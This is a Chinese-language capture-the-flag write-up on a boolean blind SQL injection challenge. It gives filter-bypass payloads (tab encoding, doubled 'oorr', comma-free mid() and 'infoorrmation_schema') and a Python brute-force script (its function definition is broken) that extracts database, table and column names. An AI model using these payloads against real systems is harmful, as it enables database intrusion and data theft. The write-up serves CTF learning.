题目界面比较简单,只让你输入id,输对了告诉你 You are in,输错了就 You are not in

可以想到这是一个盲注,经简单测试,提交字母a进不去,1可以。也就是说通过注入如果进去了,说明注入的语句成功执行,反之没有执行,典型的bool盲注

bool盲注的一般思路

一般来说,bool盲注通常是通过一位一位爆破字符来实现的,常用的函数如下:

Length()函数 返回字符串的长度

Substr() 截取字符串

SUBSTRING(str,pos,len)

SUBSTRING(str FROM pos FOR len)

SUBSTRING(str,pos)

SUBSTRING(str FROM pos) ****划重点****

mid(column_name,start[,length]) 类似substr

left(str, length) 从左开始截取字符串

right(str, length)

ascii() 返回字符串str的最左面字符的ASCII代码值

ord() 类似ascii,返回字符串第一个字符的ASCII 值

ELT(n,str1,str2,str3,...) 如果n=1,则返回str1,如果n=2,则返回str2,依次类推,没用过

concat() 字符串连接

group_concat()

解题思路

首先fuzz一波,发现可用payload:

id=a'+or+'1 in

id=a'+or+'1'='2 not in

id=a'+or+(select+1)='1 in

很多东西被过滤了,比如:1空格 and || 井号 逗号 substr

(逗号都能过滤,wc)

而且经过测试发现不是说没被过滤(就是说界面没弹出SQL注入警告)你的语句就能正常执行了,下面我会说到,明明本地执行很成功,而且没有报警告,但就是没有效果、、、、

经过多次尝试,发现数据库长度这个可以搞:1id=a'+or+(select+(length(database()))>10)='1 #提示是in 经过测试,数据库名长度为18

接下来不出意外就是常规的bool盲注思路了,首先我用的是regexp注入,主要考虑的是substr被过滤了,下面是payload:1id=a'+or+(select+database()+regexp+'a[a-z0-9A-Z_]')='1

结果执行不了(本地是可以执行的)

回过头考虑 substr,因为逗号被过滤了,找了半天百度才发现可以用from替代,substr被过滤,mid可用,于是有以下payload1id=a'+or+(select+ascii(mid(database()+from+1))>64)='1

但还是GG了,

上面无法执行,原因是空格被过滤了,换一种1id=a+or+(select(ascii(mid(database()from(2)for(1)))=109))='1

看起来比较吊了吧,还是不行(•́へ•́╬)

换一换 ——>1id=a'+or+(select(mid(database()from(1))>'0'))='1 #可用(加上for(1)就不行,无语了)

这样也行1id=a'+or+(select(ascii(mid(database()from(1)))>ascii('W')))='1

个人觉得可能是空格问题,有的语句空格不能用加号替代,语句会有语法错误,但是又要区分出层次,于是就用 括号 绕过了

下面是爆破数据库名的脚本,跑完数据库名为—->ctf_sql_bool_blind:

import requests
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
def (payload):
data={}
data['submit']='submit'
data['id']=payload
r = requests.post(url,data)
if('You are not in' in r.content):
print payload
return 1
char = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
char = list(char)
for i in range(1,19):
for j in char:
payload="a'+or+(select(ascii(mid(database()from("+str(i)+")))>ascii('"+j+"')))='1"
if(get_flag(payload)):
break

又见套路

接下来爆破表名,又要面对一个问题,即limit 0,1 中的空格和逗号问题,逗号可以绕过,但是空格加括号就不管用了。下面是测试的payload1

2id=a'+or+(select(ascii(mid((select table_name from information_schema.tables

where table_schema='ctf_sql_bool_blind' limit 1 offset 0)from(1)))>ascii('a'))='1

别的地方的空格可以用括号绕过去,但是limit那里是无论如何也不行,比如编码,tab制表符,%09,%0a都不行

只能换姿势了1

2id=a'+or+(select(ascii(mid((select(table_name)from(information_schema.tables)

where(table_schema='ctf_sql_bool_blind')&&(table_name)regexp('[a-z]$'))from(1)))>ascii('0')))='1

首先正则表达式匹配方式上从前往后匹配 ^ 这个符号被过滤了,所以考虑 $ 从后往前匹配。但是还是不行。

后来看了大佬的wp,没看太明白,但是有一点,题目不仅黑名单过滤了一些关键字,还对一些字符进行了替换。比如or和星号。(之前用/**/代替空格一直不行,原来原因在这)

那么这就要从审视一下之前用的payload了

最先用的 id=a’+or+’1 中or被替换后就变为了 id=a’++’1 ,那为什么也是in呢?经过本地测试,这句话确实是可以执行的。比如1select * from user where username='a'++'admin'

参数a是假的,但是admin是存在的话,就可以成功查询(具体语法还未深究)。所以上面的参数 id=a’++’1 中参数1 是确实可以查到的,因此显示you are in .

同时这也提醒我了加号貌似并能代替空格(不知道什么时候形成的误区),之前还奇怪为什么在本地执行时用加号替换空格不行呢,原因应该就是这了,二者不是可等价代换的。最多是某些特殊情况或位置或许有效。

接下来看我们爆破数据库名的payload是怎么成功执行的1id=a'+or+(select+(length(database()))>10)='1

首先本地测试下面这个payload:

select * from user where username='a'+or+(select+(length(database()))>10)='1'

--->

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'or+(select+(length(database()))>10)='1' LIMIT 0, 30' at line 1

带or是错误的。去掉or成功执行。

爆破数据库名的payload也是这个原理,sql执行的实际都是没有or的语句,而碰巧的是两个加号可以正常执行:1id=a'+or+(select(ascii(mid(database()from(1)))>ascii('W')))='1

那么非要用or呢,首先是绕过空格,其次是or被替换,因此有以下payload:1id=a'%09oorr%09(select(ascii(mid(database()from(1)))>ascii('W')))='1

成功执行,效果和+or+一样。

这样就可以解释前面一个悬案了,就是这个payload:1id=a'+or+(select(ascii(mid(database()from(2)for(1)))=109))='1

这也是爆破数据库名字的,但是mid函数里加了for(1)就不行,去了for反而可以。这就可以解释了,for里的or被替换为空了,导致语句出错,自然就不行了。可以考虑这样绕过:1

2

3id=a'+or+(select(ascii(mid(database()from(2)foorr(1)))=109))='1

id=a'%09oorr%09(select(ascii(mid(database()from(2)foorr(1)))=109))='1

知道错误原因就好办了,我们看之前一直执行不成功的payload:1

2id=a'+or+(select(ascii(mid((select(table_name)from(information_schema.tables)

where(table_schema='ctf_sql_bool_blind')limit 1 offset 0)from(1)))>ascii('a')))='1

首先空格用%09替换,此外容易忽视的information_schema中有or,因此要变为infoorrmation_schema. 可以看下面改造后的:1

2id=a'%09oorr%09(select(ascii(mid((select(table_name)from(infoorrmation_schema.tables)

where(table_schema='ctf_sql_bool_blind')limit%091%09offset%090)from(1)))>ascii('a')))='1

提示You are in。

wccccccccccccccccccc,内牛满面o(╥﹏╥)o。

每次改变from(1)里面的值

但是在用脚本时,可能是由于payload里的百分号解析问题,提交后服务器一直提示sql注入。所以换了工具,用burp的爆破模式,把position设为ascii(‘a’)中的a,字典在本地txt里编一个,a-z的字母和一些数字符号等。还有要注意的是burp抓包时最好是抓hackbar提交的包,那样post的内容就不会被编码了

最后爆出表名:fiag

再暴字段:1

2id=a'%09oorr%09(select(ascii(mid((select(column_name)from(infoorrmation_schema.columns)

where(table_name='fiag')limit%091%09offset%090)from(1)))=ascii('§a§')))='1